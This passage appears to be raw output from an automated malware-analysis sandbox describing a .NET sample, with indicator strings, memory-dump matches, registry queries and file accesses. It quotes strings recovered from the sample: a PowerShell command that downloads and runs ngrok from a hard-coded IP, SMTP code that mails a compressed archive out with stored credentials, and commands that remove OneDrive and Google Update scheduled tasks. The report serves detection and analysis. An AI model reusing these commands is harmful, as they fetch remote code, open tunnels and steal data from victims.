= New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") file/memory contains long string with (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "Compress-Archive -Path" (Indicator: "Compress-Archive"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Compress-Archive -Path" (Indicator: "Compress-Archive"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "$ReportEmail = New-Object System.Net.Mail.MailMessage;" (Indicator: "New-Object"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Install-WindowsFeature Net-Framework-Core -source \\network\\share\\sxs & exit" (Indicator: "Install-WindowsFeature"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string ".Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "New-Object"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "ogFile=%TEMP%\proclog.txtset exeFile=%TEMP%\ngrok.exeset logFile=%TEMP%\proclog.txtpowershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');%exeFile% authtoken" (Indicator: "New-Object"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "powershell Compress-Archive -Path" (Indicator: "Compress-Archive"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "PInfo.Credentials = New-Object System.Net.NetworkCredential('" (Indicator: "New-Object"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "/k start /b powershell Install-WindowsFeature Net-Framework-Core -source \network\share\sxs & exit" (Indicator: "Install-WindowsFeature"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "CHO $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "CHO $Attachment = New-Object System.Net.Mail.Attachment($Attachment) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "CHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "CHO $SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "New-Object"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "powershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');" (Indicator: "New-Object"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "owershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "New-Object"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Compress-Archive -Path" (Indicator: "Compress-Archive"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")3d:T4c1,"1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" file has an entrypoint instructions - "jmp dword ptr [0x402000],add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,add byte ptr [eax], al,"3e:T2194,Observed system executable string:"C:\Windows\Temp\VxOle32.dll" [Source: 00000000-00003464.00000000.66478.00010000.00000040.mdmp 00000000-00003464.00000000.66478.000E0000.00000002.mdmp 00000000-00003464.00000001.68400.00010000.00000040.mdmp 00000000-00003464.00000001.68400.000E0000.00000002.mdmp 00000000-00003464.00000002.70319.00010000.00000040.mdmp 00000000-00003464.00000002.70319.000E0000.00000002.mdmp 00000000-00003464.00000003.75826.00010000.00000040.mdmp 00000000-00003464.00000003.75826.000E0000.00000002.mdmp] Observed system executable string:"C:\Windows\Temp\VxSSL32.dll" [Source: 00000000-00003464.00000000.66478.00020000.00000040.mdmp 00000000-00003464.00000000.66478.00110000.00000002.mdmp 00000000-00003464.00000001.68400.00020000.00000040.mdmp 00000000-00003464.00000001.68400.00110000.00000002.mdmp 00000000-00003464.00000002.70319.00020000.00000040.mdmp 00000000-00003464.00000002.70319.00110000.00000002.mdmp 00000000-00003464.00000003.75826.00020000.00000040.mdmp 00000000-00003464.00000003.75826.00110000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\sxsoa.dll" [Source: 00000000-00003464.00000000.66478.00030000.00000002.mdmp 00000000-00003464.00000001.68400.00030000.00000002.mdmp 00000000-00003464.00000002.70319.00030000.00000002.mdmp 00000000-00003464.00000003.75826.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\GdiPlus.dll" [Source: 00000000-00003464.00000000.66478.00030000.00000002.mdmp 00000000-00003464.00000001.68400.00030000.00000002.mdmp 00000000-00003464.00000002.70319.00030000.00000002.mdmp 00000000-00003464.00000003.75826.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\comctl32.dll" [Source: 00000000-00003464.00000000.66478.00030000.00000002.mdmp 00000000-00003464.00000001.68400.00030000.00000002.mdmp 00000000-00003464.00000002.70319.00030000.00000002.mdmp 00000000-00003464.00000003.75826.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\sxsoaps.dll" [Source: 00000000-00003464.00000000.66478.00030000.00000002.mdmp 00000000-00003464.00000001.68400.00030000.00000002.mdmp 00000000-00003464.00000002.70319.00030000.00000002.mdmp 00000000-00003464.00000003.75826.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\system32\comctl32.dll.mui" [Source: 00000000-00003464.00000000.66478.00030000.00000002.mdmp 00000000-00003464.00000001.68400.00030000.00000002.mdmp 00000000-00003464.00000002.70319.00030000.00000002.mdmp 00000000-00003464.00000003.75826.00030000.00000002.mdmp] Observed system executable string:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" [Source: 00000000-00003464.00000000.66478.00060000.00000004.mdmp 00000000-00003464.00000000.66478.00440000.00000002.mdmp 00000000-00003464.00000000.66478.01B60000.00000004.mdmp 00000000-00003464.00000001.68400.00060000.00000004.mdmp 00000000-00003464.00000001.68400.00440000.00000002.mdmp 00000000-00003464.00000002.70319.00060000.00000004.mdmp 00000000-00003464.00000002.70319.00440000.00000002.mdmp 00000000-00003464.00000003.75826.00060000.00000004.mdmp 00000000-00003464.00000003.75826.00440000.00000002.mdmp] Observed system executable string:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll.101.Config" [Source: 00000000-00003464.00000000.66478.00060000.00000004.mdmp 00000000-00003464.00000001.68400.00060000.00000004.mdmp 00000000-00003464.00000002.70319.00060000.00000004.mdmp 00000000-00003464.00000003.75826.00060000.00000004.mdmp] Observed system executable string:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003464.00000000.66478.00130000.00000004.mdmp 00000000-00003464.00000001.68400.00130000.00000004.mdmp 00000000-00003464.00000002.70319.00130000.00000004.mdmp 00000000-00003464.00000003.75826.00130000.00000004.mdmp] Observed system executable string:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscordacwks.dll" [Source: 00000000-00003464.00000000.66478.003C0000.00000004.mdmp 00000000-00003464.00000001.68400.003C0000.00000004.mdmp 00000000-00003464.00000002.70319.003C0000.00000004.mdmp 00000000-00003464.00000003.75826.003C0000.00000004.mdmp] Observed system executable string:":\Windows\SYSTEM32\ntdll.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\KERNEL32.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\KERNELBASE.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\SYSTEM32\MSCOREE.DLL" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\RPCRT4.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\ADVAPI32.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\msvcrt.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\SYSTEM32\sechost.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\USER32.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\Temp\VxOle32.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\GDI32.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\LPK.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\USP10.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp] Observed system executable string:":\Windows\system32\ole32.dll" [Source: 00000000-00003464.00000000.66478.00460000.00000004.mdmp 00000000-00003464.00000001.68400.00460000.00000004.mdmp 00000000-00003464.00000002.70319.00460000.00000004.mdmp 00000000-00003464.00000003.75826.00460000.00000004.mdmp]3f:T1602,Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"Onedrive\" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"Onedrive\" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core\" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core\" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001\" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "/k start /b powershell Unregister-ScheduledTask -TaskName \"OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001\" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin") Found string "powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; File: "00000000-00003464.00000001.68400.00172000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "Onedrive" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "GoogleUpdateTaskUserS-1-5-21-3349668628-324293029-2081181062-1001Core" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Register-ScheduledTask"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp") Found string "k start /b powershell Unregister-ScheduledTask -TaskName "OneDrive Standalone Update Task-S-1-5-21-6666668628-324293029-2081181062-1001" -Confirm:$false & exit" (Indicator: "Unregister-ScheduledTask"; Source: "00000000-00003464.00000000.66478.00172000.00000020.mdmp, 00000000-00003464.00000001.68400.00172000.00000020.mdmp, 00000000-00003464.00000002.70319.00172000.00000020.mdmp, 00000000-00003464.00000003.75826.00172000.00000020.mdmp")40:T82d,".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\ERROR MESSAGE INSTRUMENT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IME COMPATIBILITY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE\TRACING"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\OLEAUT"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")41:Tb58,".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "1C300DA55B692124F8EFEDA5305D86D4E280BBB785EA87CFF49239DC026A7C55"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "COMPATDLL"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "00060101.00060101"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "INSTALLROOT"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "319DC449-ADA5-50F7-428E-957DB6791668"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "CLRLOADLOGDIR"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "USELEGACYV2RUNTIMEACTIVATIONPOLICYDEFAULTVALUE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\.NETFRAMEWORK"; Key: "ONLYUSELATESTCLR"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\FUSION"; Key: "NOCLIENTCHECKS"; Value: "")42:T6da,".exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL" ".exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" ".exe" trying to touch file "C:\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\system32\FLTLIB.DLL" ".exe" trying to touch file "C:\Windows\system32\IMM32.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-synch-l1-2-0.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to touch file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" ".exe" trying to touch file "C:\Windows\SYSTEM32\MSCOREE.DLL.local" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" ".exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" ".exe" trying to touch file "C:\Windows\system32\combase.dll" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" ".exe" trying to touch file "C:\Windows\system32\rpcss.dll" ".exe" trying to touch file "C:\CRYPTBASE.dll" ".exe" trying to touch file "C:\Windows\system32\CRYPTBASE.dll" ".exe" trying to touch file "C:\Windows\assembly\NativeImages_v4.0.30319_32\System\0b2f69b43a576b9edcc807a30872bd91\System.ni.dll" ".exe" trying to touch file "\Device\KsecDD" ".exe" trying to touch file "C:\Windows\system32\rsaenh.dll"43:T5fd,".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\combase.dll" ".exe" trying to access non-existent file "C:\CRYPTBASE.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.dll" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-0.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll"44:Tacf,Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "GetStream" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_OSSupportsIPv6" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "BeginConnect" in "1c300da55b692124f8efeda5305d86d4e280bbb785ea87cff49239dc026a7c55.bin" Observed Namespace "System.Net.Sockets.Socket" and 